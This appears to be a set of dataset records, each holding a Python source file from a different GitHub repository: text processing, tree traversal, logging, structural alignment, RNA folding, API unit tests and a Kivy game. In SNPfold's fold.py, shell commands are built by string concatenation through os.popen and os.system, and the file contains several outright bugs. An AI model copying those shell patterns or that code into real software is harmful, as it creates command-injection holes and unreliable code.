'__main__':\n\tparser = argparse.ArgumentParser(description='Find most frequent words in a set of documents.')\n\tparser.add_argument('--dir', type=str, required=True, help='Documents directory')\n\tparser.add_argument('--select', type=int, default=20, help='Number of words to select')\n\t\n\targs = parser.parse_args()\n\tdocuments_dir = args.dir\n\tselect = args.select\n\n\tif not os.path.isdir(documents_dir):\n\t\tsys.exit('Invalid documents directory')\n\tif select <= 0:\n\t\tsys.exit('Please enter a positive number for word selection')\n\n\tfind_frequent_words(documents_dir, select, 'data.js')\n","repo_name":"jasonchen736/Frequent_Word_Details_From_Documents","sub_path":"find_frequent_words.py","file_name":"find_frequent_words.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1693994576","text":"\"\"\"\n589. N-ary Tree Preorder Traversal\nEasy: Tree, Recursion, Iteration\n\nGiven an n-ary tree, return the preorder traversal of its nodes' values.\n\nNary-Tree input serialization is represented in their level order traversal, each group of children is separated by the null value (See examples).\n\n \n\nFollow up:\n\nRecursive solution is trivial, could you do it iteratively?\n\n \n\nExample 1:\n\n\n\nInput: root = [1,null,3,2,4,null,5,6]\nOutput: [1,3,5,6,2,4]\nExample 2:\n\n\n\nInput: root = [1,null,2,3,4,5,null,null,6,7,null,8,null,9,10,null,null,11,null,12,null,13,null,null,14]\nOutput: [1,2,3,6,7,11,14,4,8,12,5,9,13,10]\n \n\nConstraints:\n\nThe height of the n-ary tree is less than or equal to 1000\nThe total number of nodes is between [0, 10^4]\n\"\"\"\n\n\"\"\"\n# Definition for a Node.\nclass Node:\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\nclass Solution:\n # Iteration\n def preorder1(self, root: 'Node') -> List[int]:\n if not root:\n return None\n res, stack = [], [root]\n while stack:\n node = stack.pop()\n res.append(node.val)\n stack += [child for child in node.children[::-1] if child]\n return res\n \n # Recursion\n def preorder(self, root: 'Node') -> List[int]:\n res = []\n self.recursion(root, res)\n return res\n \n def recursion(self, node, res):\n if not node:\n return res\n res.append(node.val)\n for child in node.children: \n self.recursion(child, res)","repo_name":"QinmengLUAN/DailyPythonCoding","sub_path":"LC589_preorder_tree.py","file_name":"LC589_preorder_tree.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"9940560732","text":"\"\"\" Custom Logging Module \"\"\"\n\nimport logging\nimport logging.handlers\nimport sys\nfrom datetime import datetime\nfrom pathlib import Path\n\n# STREAM LOGGER CONFIGURATION / LOGGING EVENTS TO CONSOLE\n# -------------------------------------------------------------------------------------------------\n\n# Create a root logger\nlogger = logging.getLogger(__name__)\n# Set logging level for root logger\nlogger.setLevel(logging.DEBUG)\n\n# Create a stream handler and set logging level\nstream_handler = logging.StreamHandler(sys.stdout)\nstream_handler.setLevel(logging.DEBUG)\n\n# # Create formatter\n# formatter = logging.Formatter(\n# \"%(asctime)s : %(processName)s : %(threadName)s : %(module)s : %(funcName)s :\"\n# \"%(levelname)s : %(message)s\",\n# \"%Y-%m-%d %H:%M:%S\",\n# )\nformatter = logging.Formatter(\n \"%(asctime)s : %(module)s : %(funcName)s : %(levelname)s : %(message)s\",\n \"%Y-%m-%d %H:%M:%S\",\n)\n\n# Set formatter to stream handler and add it to root logger\nstream_handler.setFormatter(formatter)\nlogger.addHandler(stream_handler)\n\n\n# FILE HANDLER CONFIGURATION / LOGGING TO FILE\n# -------------------------------------------------------------------------------------------------\n\n# Location of the Logs Generated by the Script\nLOGDIR_NAME = \"ScriptLogs\"\n\n# PROD LOG Directory Path\n# logdir_path = Path(r\"D:\\Directory\\Path\").joinpath(LOGDIR_NAME)\n\n# TEST LOG Directory Path\n# logdir_path = Path(r\"D:\\Directory\\Path\").joinpath(LOGDIR_NAME)\n\n# Local LOG Directory Path\nlogdir_path = Path().cwd().joinpath(LOGDIR_NAME)\n\n# Create the log director if it doesn't exist\ntry:\n logdir_path.mkdir(parents=True, exist_ok=True)\nexcept FileNotFoundError:\n logger.error(\"Failed to create Log Folder at...\")\n logger.error(f\"'{logdir_path}'\")\n logger.error(\"Cannot procced without logging events, Exiting the Script\")\n sys.exit()\nelse:\n logger.info(\"Script Event Logs can be found at...\")\n logger.info(f\"'{logdir_path}'\")\n\n\n# Log file name\n# %Y, %m and %d to append date to filename\nscript_log_filename = datetime.now().strftime(\"Log_%Y-%m-%d.log\")\nlogfile_path = logdir_path.joinpath(script_log_filename)\n\n# create a Rotating file handler\nrot_file_handler = logging.handlers.RotatingFileHandler(\n filename=logfile_path, mode=\"a\", maxBytes=1048576, backupCount=30, encoding=\"utf-8\"\n)\n\n# Set logging level, formatter and add it to root logger\nrot_file_handler.setLevel(logging.INFO)\nrot_file_handler.setFormatter(formatter)\nlogger.addHandler(rot_file_handler)\nlogger.info(\"# Logging to file started #\")\n","repo_name":"Keerthi-Mahadeva/Python-Code-Snippets","sub_path":"custom_loggers/logger_module.py","file_name":"logger_module.py","file_ext":"py","file_size_in_byte":2518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"4701710479","text":"\"\"\"\nDefines easy programmatic access for any entry point\n\"\"\"\n\nfrom MDAnalysis.exceptions import NoDataError\n\n\nfrom .engines.theseus import TheseusAligner\nfrom .engines.mmligner import MMLignerAligner\nfrom .engines.mda import MDAnalysisAligner\nfrom ..core import Structure\n\n\nMETHODS = {\n \"theseus\": TheseusAligner,\n \"mmligner\": MMLignerAligner,\n \"mda\": MDAnalysisAligner,\n}\n\n\ndef align(structures, user_select=False, method=TheseusAligner, **kwargs):\n \"\"\"\n Main entry point for our project\n\n Parameters\n ----------\n structures : list of opencadd.core.Structure objects\n First one will be the target to which the rest of the structures are aligned.\n user_select: list of MDAnalysis selection strings\n Provided by user in the CLI (default: False).\n method : BaseAligner-like\n Usually a subclass of BaseAligner. This will be passed ``**kwargs``. This class\n MUST define `.calculate()`.\n\n Returns\n -------\n dict\n superposed models\n rmsd\n metadata\n \"\"\"\n aligner = method(**kwargs)\n assert all(isinstance(s, Structure) for s in structures)\n reference, *mobiles = structures\n results = []\n\n def _universe_to_atomgroup(universe):\n \"\"\"\n Universes can come with or without models. For downstream processing, cast all universes\n to AtomGroups.\n\n Parameters\n ----------\n universe : MDAnalysis.core.universe.Universe\n Input structure with or without models.\n\n Returns\n -------\n MDAnalysis.core.groups.AtomGroup\n Structure as AtomGroup (keep only first model if multiple models available).\n \"\"\"\n try:\n atom_group = universe.models[0]\n except NoDataError:\n atom_group = universe.atoms\n return atom_group\n\n # only take the first models of the pdb files, this ensures that mda and theseus are working consistently\n # comparing all models could provide better results, but would be very inefficient\n # (e.g. 25 models would mean 25 times the computing time)\n if user_select:\n # selection always returns an AtomGroup. Alternative, which is not recommended,\n # because the aligners can handle AtomGroups aswell:\n # Structure.from_atomgroup(reference.models[0].select_atoms(f\"{user_select}\").residues.atoms)\n reference = _universe_to_atomgroup(reference)\n reference_selection = reference.select_atoms(f\"{user_select[0]}\")\n for mobile in mobiles:\n mobile = _universe_to_atomgroup(mobile)\n mobile_selection = mobile.select_atoms(f\"{user_select[1]}\")\n result = aligner.calculate(\n structures=[reference, mobile], selections=[reference_selection, mobile_selection]\n )\n # size of selections\n reference_size = len(reference_selection.residues)\n mobile_size = len(mobile_selection.residues)\n result[\"metadata\"][\"reference_size\"] = reference_size\n result[\"metadata\"][\"mobile_size\"] = mobile_size\n results.append(result)\n\n else:\n reference = _universe_to_atomgroup(reference)\n for mobile in mobiles:\n mobile = _universe_to_atomgroup(mobile)\n result = aligner.calculate(structures=[reference, mobile], selections=[])\n # size of whole structures\n reference_size = len(reference.residues)\n mobile_size = len(mobile.residues)\n result[\"metadata\"][\"reference_size\"] = reference_size\n result[\"metadata\"][\"mobile_size\"] = mobile_size\n results.append(result)\n\n return results\n","repo_name":"volkamerlab/opencadd","sub_path":"opencadd/structure/superposition/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"78"} +{"seq_id":"21804246211","text":"import os\nimport sys\nimport re\nimport numpy\nimport operator\nimport string\nimport math\nimport random\nfrom SequenceProcessing import *\n\n###############################################################################\n# This file is part of SNPfold.\n#\n# SNPfold is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# SNPfold is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with SNPfold. If not, see .\n###############################################################################\n\n\ndef writefasta(seqname,seq,file_name):#function that writes a seq, seqname and file_name into a fasta file\n ''' writes seqname and seq into a file of name file_name '''\n file = open(file_name,\"w\")\n file.write('>'+seqname+\"\\n\")\n file.write(seq+'\\n')\n file.close()\n return\n\ndef process_free_energy_line(line):\n ''' pull out ensemble value from RNAfold output line '''\n line=line.replace(\" free energy of ensemble = \",\"\")\n line=line.replace(\" kcal/mol\",\"\")\n return line\n\ndef get_all_ccs(seq1matrix,seq2matrix, minsize=40,cctype=\"bpProbs\",shannonTimeSaver=True):\n ''' extract correlation coefficients for all equivalent comparisons\n of submatrices of size [minsize,minsize]\n to [len(matrix),len(matrix)] '''\n ccArray = numpy.zeros([len(seq1matrix)-minsize,len(seq1matrix)-minsize])\n\n minCCcurrentsize=minsize\n minCC=1\n minCCi=0\n\n currentsize=minsize\n while currentsize <= (len(seq1matrix)-minsize):\n i=0\n while(i=0:\n filteredRef.append(refVector[idx])\n if altVector[idx]>=0:\n filteredAlt.append(altVector[idx])\n return refVector,altVector\n\n\nclass RNAsequenceStructureSet:\n ''' takes a list of RNAsequenceStructure instances as input,\n makes it easier to do certain things like get all corrrelation\n coefficients for all variant pairs'''\n def __init__(self,ArrayOfRNAsequenceStructures,constantSeq=True,alignment=None):\n self.cchash={\"bpProbs\":{'WT':1},\"shannon\":{\"WT\":1}}\n self.ccTables={\"bpProbs\":[[\"WT\",1]],\"shannon\":[[\"WT\",1]]}\n self.ensembleEhash=dict()\n self.AllFoldingsData = ArrayOfRNAsequenceStructures\n self.globalcc_matrix={\"bpProbs\":None,\"shannon\":None}\n self.globalcc_vector={\"bpProbs\":None,\"shannon\":None}\n if constantSeq==True:\n self.wt_seq=self.AllFoldingsData[0].SequenceObj.sequence\n self.alignment=None\n\n\n\n\n\n def write_as_SNARNASM(self,outfiledir,dataType=\"BPPROB\",seqname=\"SEQUENCE\"):\n if dataType in [\"BPPROB\",\"SHANNON\"]:\n file = open(outfiledir+dataType+\"_data.snarnasm\",\"w\")\n file.write(\"#\"+seqname+\"\\n\")\n file.write(\"#\"+self.wt_seq+\"\\n\")\n headers=[\"SEQPOS\"]\n data=[[str(item) for item in xrange(1,len(self.wt_seq)+1)]]\n for item in self.AllFoldingsData:\n headers.append(item.SequenceObj.mutName)\n if dataType==\"BPPROB\":\n data.append(list(item.bpProbs))\n elif dataType==\"SHANNON\":\n data.append(list(item.shannon))\n data = zip(*data)\n file.write(string.join(headers,\"\\t\")+\"\\n\")\n file.close()\n for row in data:\n file=open(outfiledir+dataType+\"_data.snarnasm\",\"a\")\n formattedRow = [str(val) for val in row]\n file.write(string.join(formattedRow,\"\\t\")+\"\\n\")\n file.close()\n return self\n\n def get_ccs(self,dataType=\"bpProbs\"):\n ''' get corrcoeffs between all sequence variants inputted '''\n if type(dataType)==str:\n dataType=[dataType]\n allNames = [Obj.SequenceObj.mutName for Obj in self.AllFoldingsData][1:]\n for mytype in dataType:\n allProbs = [vars(Obj)[mytype] for Obj in self.AllFoldingsData]\n self.globalcc_matrix[mytype]=get_cc(allProbs)\n for mytype in dataType:\n count = 1\n for name in allNames:\n self.cchash[mytype][name]=self.globalcc_matrix[mytype][0,count]\n count+=1\n return self\n\n def get_pairwise_ccs(self,dataType=\"bpProbs\"):\n ''' get corrcoeffs between all sequence variants inputted '''\n if type(dataType)==str:\n dataType=[dataType]\n for mytype in dataType:\n WTitem = self.AllFoldingsData[0].SequenceObj\n WT = vars(self.AllFoldingsData[0])[myType]\n for Obj in self.AllFoldingsData[1:]:\n MUT = [vars(Obj)[mytype] for Obj in self.AllFoldingsData]\n WT,MUT = subset_vectors(WT,MUT,WTitem.maskedPos)\n allProbs.append(WT)\n allProbs.append(MUT)\n self.globalcc_matrix[mytype]=get_cc(allProbs)\n return self\n\n\n def save_metric_set_to_output(self,filename):\n ''' write CC(basepairingProb) and CC(Shannon) to output '''\n header=\"MUT\\tCC_BPPROB\\tCC_SHANNON\\n\"\n file = open(filename,'w')\n file.write(header)\n file.close()\n #print self.cchash\n for SNPobj in self.AllFoldingsData:\n file = open(filename,'a')\n mutName = SNPobj.SequenceObj.mutName\n\n if mutName!=\"WT\":\n outputLine=[mutName,str(SNPobj.globalcc['bpProbs']['WT']),str(SNPobj.globalcc['shannon']['WT'])]\n file.write(\"\\t\".join(outputLine)+\"\\n\")\n file.close()\n\n\n def get_P_value_for_ccs(self,ccsOfInterest,subtype=\"bpProbs\"):\n ''' get nonParam. pvalue for a list of CCs '''\n Pvals_for_ccs=[]\n for SNPobj in self.AllFoldingsData:\n row=[SNPobj.mutName,SNPobj.globalcc[subtype]]\n MutTable.append(row)\n sorted(MutTable, key=operator.itemgetter(col))\n for cc in ccsOfInterest:\n index=1\n IsLessThanOrEqualTo = True\n while(index<=len(MutTable) and (IsLessThanOrEqualTo == True)):\n row = MutTable[index]\n if row[1] <= cc:\n index += 1\n else:\n IsLessThanOrEqualTo = False\n Pval = float(index)/len(MutTable)\n Pvals_for_ccs.append(Pval)\n return self,Pvals_for_ccs\n\n def build_mut_table(self,subtype=\"bpProbs\",col=1):\n ''' build and store an (optionally ordered) list of mutations and their corr. coeffs'''\n MutTable=[]\n for SNPobj in self.AllFoldingsData:\n row=[SNPobj.SequenceObj.mutName,SNPobj.globalcc[subtype]['WT']]\n MutTable.append(row)\n if col!=-1:\n MutTable = sorted(MutTable, key=operator.itemgetter(col))\n self.ccTables[subtype]=MutTable\n return self\n\n def get_P_value_exact(self,SNPsOfInterest,subtype=\"bpProbs\"):\n ''' get exact p-value for SNP of interest '''\n PvalHash=dict()\n nonstandardMuts = []\n MutTable=[]\n\n for SNPobj in self.AllFoldingsData:\n row=[SNPobj.SequenceObj.mutName,SNPobj.globalcc[subtype]['WT']]\n MutTable.append(row)\n col = 1\n MutTable = sorted(MutTable, key=operator.itemgetter(col))\n self.ccTables[subtype]=MutTable\n rowCount=1\n while (rowCount<=len(MutTable)):\n row = MutTable[rowCount-1]\n if (row[0] in SNPsOfInterest):\n Pval = round(float(rowCount)/(len(MutTable)),5)\n PvalHash[row[0]] = Pval\n rowCount+=1\n for SNP in SNPsOfInterest:\n try:\n PvalHash[SNP]\n except:\n nonstandardMuts.append(SNP)\n return self,PvalHash,nonstandardMuts\n\n\n\nclass RNAsequenceStructure:\n ''' class that stores data regarding the structure of an instance\n of class SequenceObj from SequenceProcessing.py '''\n def __init__(self,SequenceObj,foldingMethod=None,partitMatrix=None,\n mfeStruct=None,ensembleStruct=None):\n self.SequenceObj = SequenceObj\n self.partitMatrix=partitMatrix\n self.mfeStruct=mfeStruct\n self.mfeE=None\n self.ensembleStruct=None\n self.ensembleE=None\n self.centroidStruct=None\n self.centroidE=None\n self.sampledBinaryStructures=[]\n self.bpProbs=None\n self.shannon=None\n self.bpProbsLogit=None\n self.globalcc={\"bpProbs\":{\"WT\":None},\"shannon\":{\"WT\":None}}\n\n def clear_partit_matrix(self):\n del(self.partitMatrix)\n return self\n\n def get_logit_BpProbs(self):\n ''' calculates and stores log(p/(1-p)),\n given that p = probability of nt. i being basepaired '''\n if self.bpProbs==None:\n return\n self.bpProbsLogit=numpy.zeros(len(self.bpProbs))\n count=0\n while count 0:\n shanValue = shanValue + p*math.log(p,2)\n shanValues[count]= abs(-(1.0/max_se) * shanValue)\n count += 1\n #normalizing factor taken from Kevin Curran's python code\n return shanValues\n\ndef get_RNAfold_ensemble_energy(sequence):\n ''' process RNAfold output string to get ensembleEnergy '''\n output = os.popen(\"echo '\"+sequence+\"' | RNAfold -p0\")\n seqOut = output.readline().rstrip()\n mfe = output.readline().rstrip()\n (mfeStruct,mfeEnergy)=mfe.split(\" (\")\n mfeEnergy = mfeEnergy.replace(\")\",\"\")\n mfeEnergy = mfeEnergy.replace(\"(\",\"\")\n ensembleEnergy = output.readline().rstrip()\n mfeFreqInEnsemble = output.readline().rstrip()\n return ensembleEnergy\n\ndef get_RNAfold_mfe(sequence):\n ''' process RNAfold output string to get\n mfeStructure, mfe Energy '''\n output = os.popen(\"echo '\"+sequence+\"' | RNAfold -p0\")\n seqOut = output.readline().rstrip()\n mfe = output.raedline().rstrip()\n (mfeStruct,mfeEnergy)=mfe.split(\" \")\n mfeEnergy = mfeEnergy.replace(\")\",\"\")\n mfeEnergy = mfeEnergy.replace(\"(\",\"\")\n return mfeStruct,mfeEnergy\n\ndef get_RNAfold_partit_matrix(sequence,resultsFull=False,version=\"2.1.1\",additionalOpts=\"\",seqName=None):\n ''' given an input sequence, stores the partitMatrix of basepairing probabilities btwn all\n nucleotides i and j to an instance of numpy.array '''\n nucCount = len(sequence)\n # CREATE RANDOMLY GENERATED OUTFILENAME FOR RNAFOLD WHEN IT IS CALLED\n randFileName=str('.sq'+''.join(random.sample(string.letters+string.digits,6)))\n file_name=randFileName+\"_dp.ps\"\n extra_file_name = randFileName+\"_ss.ps\"\n # WRITE SEQ TO OUTFILE\n writefasta(randFileName,sequence,randFileName+'.fa')\n # CALL RNAFOLD.. startSearchTerm IS BEGINNING OF WHERE VALUES ARE LISTED IN POSTSCRIPT OUTFILE\n output = os.popen('RNAfold -p '+additionalOpts+' <'+randFileName+'.fa')#runs RNAfold\n #os.system(\"rm \"+extra_file_name)\n #PROCESS RNAFOLD STDOUT DATA\n header = output.readline().rstrip()\n seqOut = output.readline().rstrip()\n mfe = output.readline().rstrip()\n mfeStruct = mfe[0:nucCount]\n mfeE = mfe[nucCount+1:]\n mfeE = mfeE.replace(\"(\",\"\")\n mfeE = mfeE.replace(\")\",\"\")\n mfeE = float(mfeE)\n ensemble = output.readline().rstrip()\n ensembleStruct = ensemble[0:nucCount]\n ensembleE = ensemble[nucCount+1:]\n ensembleE = ensembleE.replace(\"[\",\"\")\n ensembleE = ensembleE.replace(\"]\",\"\")\n ensembleE = float(ensembleE)\n centroid = output.readline().rstrip()\n centroidStruct = centroid[0:nucCount]\n centroidE = centroid[nucCount+1:]\n centroidE = centroidE.replace(\"{\",\"\")\n centroidE = centroidE.replace(\"}\",\"\")\n\n # INITIALIZE A NUMPY ARRAY ZEROS OF DIM [nucCount,nucCount]\n myMatrix = numpy.zeros([nucCount,nucCount])\n\n # READ IN POSTSCRIPT OUTPUT CONTAINING PARTITMATRIX\n file = open(file_name,\"r\")\n results_data = file.read()\n file.close()\n\n os.system(\"rm \"+randFileName+\"*\")\n #FIND WHERE THE PERTINENT DATA IS IN THE POSTSCRIPT FILE\n try:\n startSearchTerm = '%start of base pair probability data'\n string.index(results_data,startSearchTerm)\n except:\n startSearchTerm = '%data starts here'\n string.index(results_data,startSearchTerm)\n startLocation=string.find(results_data,startSearchTerm)\n stopLocation=string.find(results_data,'showpage')\n results_data = results_data[(startLocation+len(startSearchTerm)+1):stopLocation]\n rows = results_data.splitlines()\n\n for row in rows:\n #FOR EACH ROW, ID THE X POS, Y POS, SQRT BPPROB VALUE\n values=row.split()\n x=values[0]\n y=values[1]\n partit=values[2]\n # If the line had 'ubox' in it (which means that it is a part of the partit. func.):\n # Fill in at [position x, position y] of the matrix the value partit^2\n # Fill in at [position y, position x] of the matrix the value partit^2\n if values[3]=='ubox':\n myMatrix[int(y)-1,int(x)-1]=(float(partit)*float(partit))\n myMatrix[int(x)-1,int(y)-1]=(float(partit)*float(partit))\n\n\n # These values should be the same, since the matrix is Hermitian\n # Need s for sum of values in columns\n s=numpy.sum(myMatrix,axis=1)\n s=numpy.sum(myMatrix,axis=0)\n\n # Store sums in the list named 'partit'\n if resultsFull == True and seqName == None:\n return myMatrix,mfeStruct,mfeE,ensembleStruct,ensembleE,centroidStruct,centroidE\n elif resultsFull == True and seqName !=None:\n return myMatrix,mfeStruct,mfeE,ensembleStruct,ensembleE,centroidStruct,centroidE,seqName\n elif resultsFull == False and seqName!=None:\n return myMatrix,seqName\n else:\n return myMatrix\n\ndef get_RNAfold_partit_matrix_MultiThreaded(sequence,variantName,additionalOpts):\n ''' A function involved in running RNAfold in a multithreaded fashion. Functions that carry out the\n multithreading are in SNPfold_commandline.py'''\n if variantName==None:\n variantName=\"WT\"\n nucCount = len(sequence)\n randFileName=str('.sq'+''.join(random.sample(string.letters+string.digits,6)))\n file_name=randFileName+\"_dp.ps\"\n writefasta(randFileName,sequence,randFileName+'.fa')\n output = os.popen('RNAfold -p '+additionalOpts+' < '+randFileName+'.fa')\n\n #calculate the matrix of base-pairing probabilities for a given sequence\n header = output.readline().rstrip()\n seqOut = output.readline().rstrip()\n mfe = output.readline().rstrip()\n mfeStruct = mfe[0:nucCount]\n mfeE = mfe[nucCount+1:]\n mfeE = mfeE.replace(\"(\",\"\")\n mfeE = mfeE.replace(\")\",\"\")\n mfeE = float(mfeE)\n ensemble = output.readline().rstrip()\n ensembleStruct = ensemble[0:nucCount]\n ensembleE = ensemble[nucCount+1:]\n ensembleE = ensembleE.replace(\"[\",\"\")\n ensembleE = ensembleE.replace(\"]\",\"\")\n ensembleE = float(ensembleE)\n centroid = output.readline().rstrip()\n centroidStruct = centroid[0:nucCount]\n centroidE = centroid[nucCount+1:]\n centroidE = centroidE.replace(\"{\",\"\")\n centroidE = centroidE.replace(\"}\",\"\")\n\n #get nucCount from the length of the RNA sequence\n #create a matrix of zeros of RNA length X RNA length\n myMatrix = numpy.zeros([nucCount,nucCount])\n\n #get partition function matrix data from RNAfold output\n file = open(file_name,\"r\")\n results_data = file.read()\n file.close()\n try:\n startSearchTerm = '%start of base pair probability data'\n string.index(results_data,startSearchTerm)\n except:\n startSearchTerm = '%data starts here'\n string.index(results_data,startSearchTerm)\n\n\n os.system(\"rm \"+randFileName+\"*\")\n\n #format the results data from the output file... find where the pertinent data is\n startLocation=string.find(results_data,startSearchTerm)\n stopLocation=string.find(results_data,'showpage')\n results_data = results_data[(startLocation+len(startSearchTerm)+1):stopLocation]\n rows = results_data.splitlines()\n for row in rows:\n #for every row, identify the x position, y position and partit value\n values=row.split()\n x=values[0]\n y=values[1]\n partit=values[2]\n # If the line had 'ubox' in it (which means that it is a part of the partit. func.:\n # Fill in at [position x, position y] of the matrix the value partit^2\n # Fill in at [position y, position x] of the matrix the value partit^2\n if values[3]=='ubox':\n myMatrix[int(y)-1,int(x)-1]=(float(partit)*float(partit))\n myMatrix[int(x)-1,int(y)-1]=(float(partit)*float(partit))\n\n\n # These values should be the same, since the matrix is hermitian\n # Need s for sum of values in columns\n s=numpy.sum(myMatrix,axis=1)\n s=numpy.sum(myMatrix,axis=0)\n\n # Store sums in the list named 'partit'\n return variantName,myMatrix,mfeStruct,mfeE,ensembleStruct,ensembleE,centroidStruct,centroidE\n\n\n\n","repo_name":"Halvee/SNPfoldPy","sub_path":"SNPfold/BasicFunctions/fold.py","file_name":"fold.py","file_ext":"py","file_size_in_byte":22488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"70884041853","text":"from library.ext_api_interface import *;\nimport unittest;\nimport requests;\nimport json;\nfrom unittest.mock import MagicMock;\nfrom unittest.mock import patch;\n\ndef get_successful_search_json():\n with open('tests_data/successful-book-search-json.txt') as json_file:\n data = json.load(json_file);\n return data;\n \ndef get_successful_ebook_search_json():\n with open('tests_data/successful-ebook-search-json.txt') as json_file:\n data = json.load(json_file);\n return data;\n \nclass Ext_Api_Interface_Test(unittest.TestCase):\n def setUp(self):\n self.books_api = Books_API();\n self.successful_search_json = get_successful_search_json();\n self.successful_ebook_search_json = get_successful_ebook_search_json();\n self.books_by_author_title_suggest = \"Isometric strength position specificity resulting from isometric and isotonic training as a determinant in performance.\"\n self.book_info = {'title': 'Isometric strength position specificity resulting from isometric and isotonic training as a determinant in performance.',\n 'publish_year': [1969],\n 'publisher': ['Three Rivers Press'],\n 'language': ['eng']\n };\n self.ebook_info = {\n 'title': 'All your base are belong to us',\n 'ebook_count': 1\n };\n def test_make_request_invalid(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 404;\n result = self.books_api.make_request(\"invalid url\");\n self.assertEqual(result, None);\n \n def test_make_request_connection_error(self):\n with patch('requests.get') as mock:\n mock.side_effect = requests.ConnectionError;\n result = self.books_api.make_request(\"connection error\");\n self.assertEqual(result, None);\n \n def test_make_request_valid(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 200;\n mock.return_value.json = get_successful_search_json;\n result = self.books_api.make_request(\"valid url\");\n self.assertEqual(result, self.successful_search_json);\n \n def test_is_book_available_true(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 200;\n mock.return_value.json = get_successful_search_json;\n result = self.books_api.is_book_available(\"available\");\n self.assertEqual(result, True);\n def test_is_book_available_false(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 400;\n result = self.books_api.is_book_available(\"unavailable\");\n self.assertEqual(result, False);\n def test_books_by_author_no_data(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 400;\n result = self.books_api.books_by_author(\"no data\");\n self.assertEqual(result, []);\n def test_books_by_author(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 200;\n mock.return_value.json = get_successful_search_json;\n result = self.books_api.books_by_author(\"Duane Ray Sterling\");\n self.assertEqual(result, [self.books_by_author_title_suggest]);\n def test_get_book_info_no_data(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 400;\n result = self.books_api.get_book_info(\"no data\");\n self.assertEqual(result, []);\n def test_get_book_info(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 200;\n mock.return_value.json = get_successful_search_json;\n result = self.books_api.get_book_info(\"book\");\n self.assertEqual(result, [self.book_info]);\n def test_get_ebooks_no_data(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 400;\n result = self.books_api.get_ebooks(\"no data\");\n self.assertEqual(result, []);\n def test_get_ebooks(self):\n with patch('requests.get') as mock:\n mock.return_value.status_code = 200;\n mock.return_value.json = get_successful_ebook_search_json;\n result = self.books_api.get_ebooks(\"ebook\");\n self.assertEqual(result, [self.ebook_info]);\n ","repo_name":"jma7161/swen352-activity2","sub_path":"tests/test_ext_api_interface.py","file_name":"test_ext_api_interface.py","file_ext":"py","file_size_in_byte":4419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"21455390941","text":"from kivy.config import Config\nfrom kivy.lang import Builder\n\nConfig.set('graphics', 'width', '900')\nConfig.set('graphics', 'height', '400')\n\nfrom kivy.app import App\nfrom kivy.properties import StringProperty\n\nfrom kivy.lang import Builder\nfrom kivy.uix.popup import Popup\nfrom kivy.uix.screenmanager import Screen\n\nfrom game import GameWidget\n\nBuilder.load_file(\"game.kv\")\n\nclass StartWindow(Screen):\n menu_title = StringProperty(\"G A L A X Y\")\n play_button_title = StringProperty(\"PLAY\")\n\n def open_popup(self):\n pops = ScorePopup()\n pops.open()\n\nclass GameWindow(Screen):\n pass\n\nclass ScorePopup(Popup):\n\n SCORE_FILENAME = r'./highscores.csv'\n header_txt = [\"Name\", \"Date\", \"Score\"]\n score_header = StringProperty(f\"{header_txt[0]:<5}{header_txt[1]:^127}{header_txt[2]}\")\n\n def read_scores(self):\n with open(self.SCORE_FILENAME, \"r\") as file:\n lines = file.readlines()\n output = \"\"\n for line in lines:\n temp = line.split(\",\")\n output += f\"{temp[0]:<15}{temp[1]:^125}{temp[2]:>10}\"\n \n return output\n\nkv = Builder.load_file(\"main.kv\")\n\nclass GalaxyApp(App):\n def build(self):\n return kv\n\nGalaxyApp().run()\n","repo_name":"Robinson-1/my_galaxy","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74554094332","text":"#!/usr/bin/env python3\n\n# Disabling the \"abstract-class-instantiated\" as this specifically tests the abstract class\n# pylint: disable=E0110\n\n### IMPORTS ###\nimport logging\nimport unittest\n\nfrom unittest.mock import patch\n\nfrom kneedeepio.plugins.services import ConfigurationService\n\n### GLOBALS ###\n\n### FUNCTIONS ###\n\n### CLASSES ###\nclass TestConfigurationService(unittest.TestCase):\n def setUp(self):\n # Setup logging for the class\n self.logger = logging.getLogger(type(self).__name__)\n self.logger.debug(\"setUp\")\n\n @patch.multiple(ConfigurationService, __abstractmethods__ = set())\n def test_load_config(self):\n self.logger.debug(\"test_load_config\")\n tmp_cs = ConfigurationService()\n # This is for an \"abstract\" class, so this should raise a NotImplementedError\n with self.assertRaises(NotImplementedError):\n tmp_cs.load_config(\"config_zero\")\n\n @patch.multiple(ConfigurationService, __abstractmethods__ = set())\n def test_get_value(self):\n self.logger.debug(\"test_get_value\")\n tmp_cs = ConfigurationService()\n # This is for an \"abstract\" class, so this should raise a NotImplementedError\n with self.assertRaises(NotImplementedError):\n tmp_cs.get_value(\"key_one\")\n\n @patch.multiple(ConfigurationService, __abstractmethods__ = set())\n def test_set_value(self):\n self.logger.debug(\"test_set_value\")\n tmp_cs = ConfigurationService()\n # This is for an \"abstract\" class, so this should raise a NotImplementedError\n with 